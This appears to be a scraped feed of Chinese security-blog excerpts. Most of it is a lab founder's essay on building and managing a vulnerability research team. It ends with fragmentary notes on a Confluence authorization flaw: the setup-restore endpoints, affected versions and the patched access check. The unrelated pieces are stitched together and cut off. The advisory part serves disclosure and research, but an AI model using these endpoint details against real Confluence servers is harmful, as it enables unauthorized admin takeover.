6. 根据代码逻辑构造PoC触发漏洞，并尝试武器化利用。

致谢

在文章的最后，我要感谢公司部门领导和同事对本议题的贡献和帮助（以下排名不分先后），感谢字节跳动安全中心对于本次沙龙的筹办和策划。

阅读原文

跳转微信打开

从安全研究员到网络安全教练：这次我想当教练

    在完成《我还是想当安全研究员》之后，我观看了一些游戏战队的纪录片，这激发了我开始深思自己的职业道路。后来，21年来到中孚信息，创立了元亨实验室，带了研究型的团队，开始考虑是否将职业重心从安全研究员变成一名网络安全教练。在21年、22年几次都想写一篇《这次我想当教练》的文章，但是自身觉得身边的案例、素材不够，也没有开始动笔。

    我这个人，闲不住。在一个方向做深了，老想换一个方向看看。web安全做了几年，觉得反作弊有意思，反作弊做了几年又抓了不少人，想闭环整个链条，又去武汉跟人创业取证。后来看了几个bh的议题，发现web和pwn结合，还能出神洞，让我燃起浓厚的兴趣。19年断断续续，20、21、22年又恶补了一下pwn方向的知识。这东西确实费脑子，到现在我还是感觉要学习的东西太多了。

    2021年7月，我加入中孚信息，开始组建元亨实验室。现在我也没明白自己咋就从甲方不干了，重新回乙方遭罪。当初跟公司聊的时候，定的目标要做研究型实验室，这可能激发了我的好胜欲。不瞒大家说，当初看vulcan的人在pwn2own举杯的时候我是真羡慕，orange在bh演讲的web2pwn漏洞，也让我跃跃欲试。所以最初给实验室定的目标就很高，当然公司可能没定这么高的目标，但是我心里是这么想的。

 一、组队，就要谈条件

    对于一家传统的安全公司，“天才少年”可能不符合他的认知。最开始的时候就要和人力、业务部门持续的battle。到新公司，如果跟别人抢业务，那必不可少的会发生冲突，不过这事我有经验。开创一个新的业务，就不会有人跟你抢。在这个时期，我梳理了公司的问题，发现威胁情报可以做。其实这可以作为一个空降兵的行动指南，作为一个业务空降兵如何在短时间站稳脚步，可以找找依靠三方又很重要的业务，快速复制三方业务，替换三方可以出成绩。当然，这东西我一个人做不了，拉来了专业做威胁情报的2ero、lemon一起来。

    当然，谈条件除了要业务突出，还得让其他部门闭嘴。安全公司就是拼安全能力，这事有点因果颠倒，你技术牛，你能谈条件，但是没条件，又招不到技术牛的，容易陷入死循环。幸好当时有key、l1nk3r来帮助我，通过几次对比，成功让其他部门闭嘴。也为以后谈条件打下了良好的基础。

    能谈条件了，人员招聘也灵活了起来。研究的顺利开展，完全就是建立在支持的基础之上的。话语权重了，也可以让有能力的人内部转岗，飞飞就是这个时候来的。最近我又思考了一下，传统的人员招聘基本看不出来一个人的水平，一起共事过可能会好很多。下一步，元亨也会开展各类活动，让更多的人一起共事，这样才能发现更多的人才。

二、统一目标

    现在很多小朋友，都不喜欢搞攻防演练攻击队，谈演练色变，大部分跳槽的人跟我说，千万不要让他做攻击队。这个问题其实我内心也是很矛盾的，在各个公司高层看来，养了一堆搞研究的，让你去打攻防怎么就不行了。可笑的是，很多公司的高层完全不明白，我们这个行业是分工种的，你让一个做pwn的人做渗透，那他肯定非常难受。正因为业内这种涸泽而渔式的工作方法，让做攻防的苦不堪言。从我的角度来讲，更倾向研究员做纯研究。从公司，从出钱的人的角度来看，我养你就是为了干活的，我让你干活你不做，那养你干什么啊。这个问题，想了几次，得出一个结论，当年我btc卖早了，要不就能养活大家搞纯研究了。

    业务目标和研究目标，需要达成某种意义上的统一。这就需要横向管理和向上管理、向下管理的能力。1. 向上管理：要知道上边的目标和预期是什么，预期伴随着投入，也意味着布局，提前投入，提前收获。2. 横向管理：要提前知道业务方明年的重点规划是啥。比如业务要向某个行业倾斜，那我们的研究是不是也要跟着转转。挖洞吗，目标很多，但是需要聚焦。3. 向下管理：要知道小朋友们的诉求是什么。是涨薪、年终奖，还是个人职业发展的需求。如果让一个想做pwn的人，那他肯定难受，他难受也不会让你好受。    

三、后勤，做好支撑工作。

    这个就是我要做的事了。做威胁情报需要数据，那我就要做好数据支持。做漏洞挖掘需要安装包，那我就要做好软件的采买。做硬件安全就需要买很多硬件，那我就要跟公司说清楚采购的必要性。做大模型又需要买很多显卡，那我就需要去抢资源。现在元亨这些资源都是足够的，就等着出成绩了。这些都是物质上的后勤支持，可能很多都忽视了精神上的后勤支持。这一点，我做的比较差。

    我是一个爱吐槽的人，或者是我一个东北人的缘故，很多事情在我看来，都是段子。万物皆可吐槽，是我的人生信条，但是这也给很多朋友产生了心理压力。很多时候，一个事我吐槽了，可能我觉得没什么，其他人可能就上纲上线了。还有，我也有情绪，有情绪倾向于不沟通，背后议论别人，这一点做的很差。lemon说我这么做容易给小朋友们搞的压力很大。做教练不能这么做，做领导也不能这么说。不过我再给自己辩解一句，有时候我吐槽的东西，第二天就忘了，以后得改改万物皆可吐槽这个问题了。

四、让更多的人参与进来

    我们内网wiki里都是实验室各位同仁写的文章，文章也都有署名，如果这个人离职了，我们也不会删这个人的id。本来这个行业人就少，相聚就是缘分。百年以后，只有这些数据曾经证明我们来过。思想永存，精神永存。回到安装包这个问题，大家都知道我手上资源多，很多朋友也找我。

    我就在想一个问题，要不要弄一个元亨基金。帮助大家做好研究支撑工作，可能钱也不多，刚刚好，正好够研究的开展。我们一起搞点论文，搞点议题，搞点事情。

    还有就是，要不要弄一个元亨杯安全竞赛，正如之前我说的，常规的面试并不能发现一个人的优点，我们需要通过实际的情况去判断一个人适合什么工作。

    安全行业的蓬勃发展，有赖于大家勇于试错，这是一个需要反复试错的行业，试错就意味着要犯错，但是犯错又和我们传统的观念不同，我们可能认为犯错就是一件不好的事。这次，元亨会给大家犯错的机会，让更多的人参与进来。

最后，感谢实验室全体员工，不管是离职的、在职的还是回学校的，按照加入的顺序：2ero、飞飞、key、lemon、l1nk3r、blckder02、佳禾、翼鼎、祝、depy、Taaaaarn、Disap、Oo。感谢大家，对我的支持。我们2024年，继续冲。

阅读原文

跳转微信打开

此不当授权漏洞允许未经身份验证的攻击者重置 Confluence 并创建 Confluence 实例管理员帐户。使用此帐户，攻击者可以执行 Confluence 实例管理员可用的所有管理操作，从而导致机密性、完整性和可用性完全丧失。

1. 前言

/json/setup-restore.action          /json/setup-restore-local.action          /json/setup-restore-progress.action

• 重写isPermitted()方法，使其返回为 true；
• 不重写isPermitted()方法，修改 skipAccessCheck 为true。
  
  

阅读原文

跳转微信打开

外部攻击者可能利用可公开访问的 Confluence 数据中心和服务器实例中的先前未知的漏洞来创建未经授权的 Confluence 管理员帐户并访问 Confluence 实例。

• < 8.0.5
• < 8.1.5
• < 8.2.4
• < 8.3.3
• < 8.4.3
• < 8.5.2

启动 confluence 服务后，访问http://localhost:8090进入安装步骤，选择Trial Installation；